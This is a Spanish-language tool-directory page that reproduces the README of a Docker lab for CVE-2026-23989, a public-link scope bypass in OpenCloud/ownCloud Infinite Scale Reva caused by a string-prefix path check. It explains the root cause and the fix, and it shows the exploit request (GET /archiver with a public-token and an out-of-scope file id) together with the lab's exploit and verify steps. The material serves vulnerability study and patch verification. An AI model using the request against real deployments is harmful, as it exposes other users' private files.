Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-23989-opencloud-lab — Laboratorio de reproducción (A/B Docker) para CVE-2026-23989 — Omisión de validación de alcance de enlace público en OpenCloud / ownCloud Infinite Scale en Reva | Kitploit
Herramientas/GitHubGitHub/dinosn/cve-2026-23989-opencloud-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdinosn/cve-2026-23989-opencloud-lab

cve-2026-23989-opencloud-lab

Laboratorio de reproducción (A/B Docker) para CVE-2026-23989 — Omisión de validación de alcance de enlace público en OpenCloud / ownCloud Infinite Scale en Reva

Ver Repositorio
123hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-23989 — Omisión del alcance de enlaces públicos en OpenCloud / ownCloud Infinite Scale

Un laboratorio autónomo de un solo comando que reproduce CVE-2026-23989 y demuestra que está corregido, utilizando las imágenes oficiales de Docker del proyecto upstream. Un enlace de uso público que se supone que otorga acceso a una carpeta puede ser explotado para leer archivos fuera del alcance de esa carpeta.

CVECVE-2026-23989
AvisoGHSA-vf5j-r2hw-2hrw ("Public Link Exploit")
CVSS 3.18.2 Alta — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
ClaseControl de acceso roto — confusión de prefijo de ruta en la validación de alcance
Causa raízReva checkIfNestedResource usaba strings.HasPrefix para la contención de rutas
AfectadoOpenCloud estable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1)
CorregidoOpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522)
Divulgado2026-02-05

Linaje — por qué esto es un error de "ownCloud"

OpenCloud es un fork de 2025 de ownCloud Infinite Scale (OCIS), creado por ex ingenieros de ownCloud después de que Kiteworks adquiriera ownCloud. La falla reside en Reva, el backend de almacenamiento CS3 que comparten OCIS/OpenCloud y — según el aviso del proveedor — "se originó en el código base de ownCloud (Kiteworks) y se heredó cuando OpenCloud hizo el fork de OCIS." OpenCloud se usa aquí porque incluye imágenes públicas vulnerables y corregidas, fijadas y limpias que permiten una comparación A/B exacta.


El error en una línea

internal/grpc/interceptors/auth/scope.go, función checkIfNestedResource — el interceptor de puerta de enlace que decide si un token de enlace público puede tocar un recurso:

// vulnerable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil

parentPath es la ruta de la carpeta compartida (el alcance del enlace); childPath es la ruta del recurso solicitado. El prefijo de cadena no es contención de ruta:

parentPath = "/Shared"
childPath  = "/Shared-secret/flag.txt"          (un hermano, NO un hijo)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true   ← incorrecto: acceso concedido

Así que un enlace con alcance a /Shared también alcanza cualquier recurso del mismo espacio cuya ruta comience con la cadena /Shared — p. ej. /Shared-secret, /Shared-2024, /Shared backup. La corrección reemplaza la prueba con filepath.Rel y rechaza cualquier ruta relativa que comience con .. (parche completo en patch/reva-scope.go.patch).


Cómo se explota — el servicio de archivado

Cada operación de puerta de enlace que lleva un token de enlace público pasa por la verificación de alcance defectuosa, pero la primitiva de los descubridores (y la de este laboratorio) es el servicio de archivado en GET /archiver, autenticado para un enlace público con el encabezado public-token:. Acepta un id de recurso (?id=<fileid>), lo recorre y transmite un zip. Apúntalo al id de un hermano con prefijo fuera de alcance y la verificación defectuosa lo admite:

GET /archiver?id=<id-de-/Shared-secret>
public-token: <token de enlace con alcance a /Shared>
→ 200, zip de /Shared-secret   (en 4.0.2)
→ 404 "gateway could not find space for ref=…"   (en 4.0.3)

Requisito previo (declarado honestamente)

El atacante debe proporcionar el id de recurso del objetivo fuera de alcance. Ese id opaco es un UUID aleatorio y no es enumerable a través del propio enlace público (el enlace no puede listar el espacio del propietario — devuelve 401). En OCIS, sin embargo, el oc:fileid de un recurso se expone en casi todas las respuestas WebDAV/graph, invitaciones a compartir, notificaciones de actividad y URLs web (/f/<id>), por lo que cualquier colaborador previo, ex destinatario de un compartido diferente o usuario interno lo tiene habitualmente — por eso el proveedor calificó la complejidad del ataque como Baja. El setup.sh del laboratorio obtiene el id "como la víctima" para entregarlo al paso del atacante, modelando ese conocimiento previo realista. El path traversal (?path=../…) no es un sustituto viable: esas rutas se resuelven relativas al compartido y se limpian (404).

Radio de impacto

  • Alcanzable: recursos del mismo espacio cuya ruta tenga prefijo de cadena con la ruta del compartido (la propia subárbol compartida, más los hermanos que coinciden por prefijo).
  • No alcanzable: todo el espacio de una sola vez — la ruta raíz del espacio es "/" y HasPrefix("/", "/Shared") es falso (el laboratorio lo confirma: archivado de la raíz del espacio → 404). Los hermanos sin prefijo como /Private también se deniegan en la compilación vulnerable — el laboratorio lo usa como control para demostrar que el efecto es específicamente el error de prefijo, no un fallo de autenticación general.

Qué contiene este laboratorio

ArchivoPropósito
docker-compose.ymlUn contenedor de OpenCloud; OC_TAG selecciona la versión vulnerable (4.0.2) o corregida (4.0.3).
setup.shSiembra el escenario de víctima en el espacio del usuario demo mary y crea un enlace público sin contraseña en /Shared. Escribe state.env.
exploit.shPoC del atacante. Dado el token del enlace + un id de recurso objetivo, llama al archivador e imprime cualquier byte exfiltrado.
verify.shA/B de un comando: reproduce en 4.0.2, confirma la corrección en 4.0.3, imprime una matriz PASS/FAIL.
patch/reva-scope.go.patchLa corrección exacta de una línea del upstream, anotada.

Escenario plantado en el espacio personal de mary:

/Shared/public-note.txt      ← compartido mediante el enlace público      (dentro del alcance)
/Shared-secret/flag.txt      ← objetivo del PoC; la ruta tiene prefijo "/Shared"  (fuera del alcance)
/Private/topsecret.txt       ← control; sin prefijo              (fuera del alcance, permanece denegado)

Inicio rápido

Requisitos: Docker + Docker Compose, curl, python3. Descarga ~250 MB de imágenes.

./verify.sh

Salida esperada:

== Exploit + controles contra VULNERABLE 4.0.2 ==
   [PASS] dentro del alcance /Shared (acceso legítimo) (fuga esperada)
   [PASS] PoC: fuera del alcance /Shared-secret (fuga esperada)
   [PASS] sin prefijo /Private (debe permanecer denegado) (denegación esperada)

== Exploit + control contra FIXED 4.0.3 ==
   [PASS] dentro del alcance /Shared (sigue funcionando) (fuga esperada)
   [PASS] PoC: fuera del alcance /Shared-secret (corregido) (denegación esperada)

== Veredicto ==
   5 aprobados, 0 fallidos
   CVE-2026-23989 reproducido en 4.0.2 y confirmado corregido en 4.0.3.

Par de versiones rolling en lugar de estable:

VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh

Recorrido manual

# 1. levantar la compilación vulnerable
OC_TAG=4.0.2 docker compose up -d

# 2. sembrar el escenario de víctima (crea el enlace público, escribe state.env)
./setup.sh

# 3. ataque: filtrar el hermano fuera de alcance (lee el objetivo de state.env)
./exploit.sh                                   # por defecto usa el id de /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")"   # control: denegado

Transcripción real contra la compilación vulnerable (los valores de state.env varían por ejecución):

Descargar herramienta